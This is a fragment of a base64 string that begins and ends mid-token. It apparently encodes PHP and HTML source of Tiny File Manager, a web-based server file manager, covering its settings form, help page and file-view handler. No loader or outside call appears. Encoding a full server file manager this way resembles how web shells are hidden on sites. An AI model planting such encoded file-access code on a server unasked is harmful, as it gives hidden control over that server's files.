EVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGF